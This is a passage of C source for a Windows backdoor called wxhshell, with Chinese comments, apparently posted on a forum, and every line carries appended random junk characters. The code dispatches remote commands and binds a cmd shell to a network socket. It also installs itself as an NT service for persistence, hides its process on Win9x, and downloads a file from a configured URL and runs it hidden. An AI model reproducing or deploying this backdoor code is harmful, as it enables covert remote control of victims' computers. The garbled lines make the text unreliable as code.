    switch(cmd[0]) { ;,hwZZA  
  ?h$NAL?  
  // 帮助 hr#M-K  
  case '?': { :y'Ah#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %6|nb:Oa  
    break; ui< N[  
  } -RE^tW*Yy  
  // 安装 J?*1*h  
  case 'i': { Gw}%{=D9  
    if(Install()) iowTLq!?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xs{3pkTYD  
    else ;;!yC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3U<cWl@  
    break; QVv#fy1"6  
    } |)IlMG  
  // 卸载 R|6Cv3:  
  case 'r': { w;%.2VJ  
    if(Uninstall()) T-'OwCB1q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {0[tNth'h  
    else 0CZ :Bo[3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [8Y:65  
    break; G~F b  
    } :">!r.Q  
  // 显示 wxhshell 所在路径 YX!{P=Ua  
  case 'p': { ts ,ZvY]  
    char svExeFile[MAX_PATH]; r)Ma3FL0;  
    strcpy(svExeFile,"\n\r"); ?k+xSV  
      strcat(svExeFile,ExeFile); =J18eH!]  
        send(wsh,svExeFile,strlen(svExeFile),0); NG=@ -eu  
    break; zN[hkmh  
    }  U'k*_g  
  // 重启 @bi}W`  
  case 'b': { Y[ j6u\y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )%`c_FL@N=  
    if(Boot(REBOOT)) IQAZuN"<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~'vCuE  
    else { l3{-z4mw  
    closesocket(wsh); )\1@V+!E%  
    ExitThread(0); ^-TE([bW  
    } 7LfAaj  
    break; rF3wx.  
    } 46}g7skD  
  // 关机 sv2A-Dld  
  case 'd': { 4(#'_jS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wjo[ENHM  
    if(Boot(SHUTDOWN)) u]g%@3Pn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a]$1D!Anc  
    else { `vU%*g&R  
    closesocket(wsh); .H escg/S  
    ExitThread(0); \q>bs|2  
    } b10cuy|a/X  
    break; ,bZL C  
    } U2ohHJ``  
  // 获取shell UBv,=v  
  case 's': { Yc`o5Q\>  
    CmdShell(wsh); a Fl;BhM  
    closesocket(wsh); +UCG0D  
    ExitThread(0); <!&[4-;fU  
    break; *zaQx+L  
  } nxO"ua  
  // 退出 ?3/qz(bM  
  case 'x': { R]JT&p|w.1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l?\jB\,  
    CloseIt(wsh); }V'} E\\  
    break; hM_lsc  
    } UgRhWV~f0  
  // 离开 SDC4L <!  
  case 'q': { -fM1nH&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *o]L|Vu  
    closesocket(wsh); xn?a. 3b'  
    WSACleanup(); biLs+\C  
    exit(1); AL[KpY  
    break; #F:p-nOq  
        } :)8VdWg  
  } #9=Vg  
  } ]v?@g:i E  
@Rg/~\K  
  // 提示信息 Ah1]Y}sy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n"$jG:A QJ  
} *}Xf!"I#]N  
  } bes<qy  
-TLlwxc^%  
  return; 'Oxy$U   
} SbcS]H5Sk  
(|F*vP'  
// shell模块句柄 ]z;P9B3@&  
int CmdShell(SOCKET sock) &g#@3e1>  
{ <:_wbVn-  
STARTUPINFO si; nz%DM<0$  
ZeroMemory(&si,sizeof(si)); P i=+/}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OwuE~K7b{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bkRLC_/d  
PROCESS_INFORMATION ProcessInfo; O8^A5,2@3>  
char cmdline[]="cmd"; j*d yp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CZ8KEBl  
  return 0; rr/B= O7  
} /{Is0+)  
C^s^D:   
// 自身启动模式 2{D{sa  
int StartFromService(void) FW.7'7G@n  
{ GXcJ< v  
typedef struct \1d (9jR  
{ 0*VWzH   
  DWORD ExitStatus; Qd)q([  
  DWORD PebBaseAddress; %W'v}p  
  DWORD AffinityMask; JELT ou  
  DWORD BasePriority; ycc4W*]  
  ULONG UniqueProcessId; hZdoc<  
  ULONG InheritedFromUniqueProcessId; UMv.{iEj  
}   PROCESS_BASIC_INFORMATION; !1rlN8w(qr  
m&xW6!x  
PROCNTQSIP NtQueryInformationProcess; FO+Zue.RS  
i1UiNJh86  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r`=+L-!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d^@dzNv  
2$9odD<r  
  HANDLE             hProcess; Wfu(*  
  PROCESS_BASIC_INFORMATION pbi; q6@Lp^f  
?:pP8/y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x`U^OLV  
  if(NULL == hInst ) return 0; wYd b*"R  
ng[Ar`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oOnop-z7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [I0:=yJ+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fA&k`L(y  
63^O|y\W8  
  if (!NtQueryInformationProcess) return 0; >i_ 2OV  
>/g#lS 5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ua<5U5  
  if(!hProcess) return 0; nR7d4)  
mkMq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $}RJ,%~'x  
kv]~'Srk  
  CloseHandle(hProcess); 1G"z<v B  
g~Z vA(`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WgR).Yx  
if(hProcess==NULL) return 0; gRrL[z  
bT\1>  
HMODULE hMod; ccB&O _  
char procName[255]; ydFD!mO  
unsigned long cbNeeded; 0+iu(VbF  
yGI;ye'U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +vvv[  
s&A} h  
  CloseHandle(hProcess); 6{x(.=  
V E#Wb7  
if(strstr(procName,"services")) return 1; // 以服务启动 F{Z~ R  
: imW\@u  
  return 0; // 注册表启动 S-P/+K6  
} E4xj?m^(y=  
{`J)j6;  
// 主模块 :S.9eFfa  
int StartWxhshell(LPSTR lpCmdLine) mN~ci 0  
{ V:qSy#e  
  SOCKET wsl; 6tXq:  
BOOL val=TRUE; $RYa6"`  
  int port=0; 8u"!dq  
  struct sockaddr_in door; (^s>m,h  
FQm`~rA~zt  
  if(wscfg.ws_autoins) Install(); Y ?S!8-z  
4y)P>c  
port=atoi(lpCmdLine); wr5AG<%(  
%4ePc-  
if(port<=0) port=wscfg.ws_port; H!?c\7adX  
5XO;N s  
  WSADATA data; M|6A0m#Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qo p^;~  
I2TaT(e\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $AfM>+GQ`n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1|RANy  
  door.sin_family = AF_INET; Y -pzy']4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \!>3SKs(e  
  door.sin_port = htons(port); ^X0P'l &D2  
4NGA/ G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rQk<90Ar  
closesocket(wsl); I`p+Qt  
return 1; e^d0zl{  
} u6T+Cg  
]gmexa=(i  
  if(listen(wsl,2) == INVALID_SOCKET) { TFH\K{DM  
closesocket(wsl); :axRoRg  
return 1; wLmhy,  
}  U mNa[ s  
  Wxhshell(wsl); EKA#|^Q:NX  
  WSACleanup(); b6}H$Sx~  
}v Z+A  
return 0; |?rNy=P,  
+g` 'J$  
} KB%"bqB|  
} ~h3c|  
// 以NT服务方式启动 ZYI{i?Te#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )0ea+ ib  
{ )Gj8X}DM  
DWORD   status = 0; =+ytTQc*ot  
  DWORD   specificError = 0xfffffff; \]&#%6|V  
\n{qsf:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,$+lFv3LE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s>0't  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3^R&:|,  
  serviceStatus.dwWin32ExitCode     = 0; :A1{d?B  
  serviceStatus.dwServiceSpecificExitCode = 0; b?TO=~k,  
  serviceStatus.dwCheckPoint       = 0; e<=cdze  
  serviceStatus.dwWaitHint       = 0; ~KW,kyXBnD  
Av"R[)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hCCiD9gz  
  if (hServiceStatusHandle==0) return; t *1u[~=  
LA@w:Fg  
status = GetLastError(); IIg^FZ*]_  
  if (status!=NO_ERROR) MOsl_^c  
{ T? tG~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 99}(~B  
    serviceStatus.dwCheckPoint       = 0; & @s!<9$W  
    serviceStatus.dwWaitHint       = 0; ? i( %  
    serviceStatus.dwWin32ExitCode     = status; 2ggdWg7z  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0}$Hi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D$bIo "  
    return; BDq%'~/^  
  } zoOaVV&1  
hJDi7P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q0$ !y!~  
  serviceStatus.dwCheckPoint       = 0; 30XR 82P/  
  serviceStatus.dwWaitHint       = 0; %;e/7`>Ma  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;k7xMZs  
} 11<Qxu$rL  
FP;Ccl"s  
// 处理NT服务事件,比如:启动、停止 $4tWI O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h<Ft_#|o[  
{ D&}3$ 7>  
switch(fdwControl)  :@%4  
{ *tgnYa[l  
case SERVICE_CONTROL_STOP: v=_6XF  
  serviceStatus.dwWin32ExitCode = 0; cgm81+[%r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; } w 5l  
  serviceStatus.dwCheckPoint   = 0; s}jHl8  
  serviceStatus.dwWaitHint     = 0; GFel(cx:K  
  { O9EKRt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0TGLM#{  
  } L5#P[cHzz  
  return; RAG3o-  
case SERVICE_CONTROL_PAUSE: ZCB_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E}sO[wNPf  
  break; MxY/`9>E|+  
case SERVICE_CONTROL_CONTINUE: S zUpWy&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A8pIs  
  break; PI`jExL  
case SERVICE_CONTROL_INTERROGATE: A j2OkD  
  break; d!:6[7X6  
}; ,Fi>p0bz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P?t" jKp'  
} R}lsnX<  
\/1<E?Q f  
// 标准应用程序主函数 'bo~%WA]n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d4nH_?  
{ Iz ;G*W18  
6xZ=^;H  
// 获取操作系统版本 Sh?4r i@:  
OsIsNt=GetOsVer(); ~-PjW#J%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); # m[|2R  
m < 3Ao^I+  
  // 从命令行安装 xf b]b2  
  if(strpbrk(lpCmdLine,"iI")) Install(); x\J#]d.  
K91)qI;BD  
  // 下载执行文件 wc!onZX5  
if(wscfg.ws_downexe) { .!G94b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )l!3(  
  WinExec(wscfg.ws_filenam,SW_HIDE); q*2N{  
} 3bDQk :L  
CMn{LQcC  
if(!OsIsNt) { l'\pk<V  
// 如果时win9x,隐藏进程并且设置为注册表启动 (y M^  
HideProc(); /r-aPJX  
StartWxhshell(lpCmdLine); dw TMq*e  
} Q",0F{'  
else 6e _dJ=_  
  if(StartFromService()) {; .T7dL  
  // 以服务方式启动 (4\d]*u5-c  
  StartServiceCtrlDispatcher(DispatchTable); 7f~Sf  
else ^`G`phd$  
  // 普通方式启动 Tp0bS  
  StartWxhshell(lpCmdLine); ] Puy!Q  
1!.(4gV  
return 0; Fr%d}g  
}
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只看该作者 1 发表于: 2006-10-10
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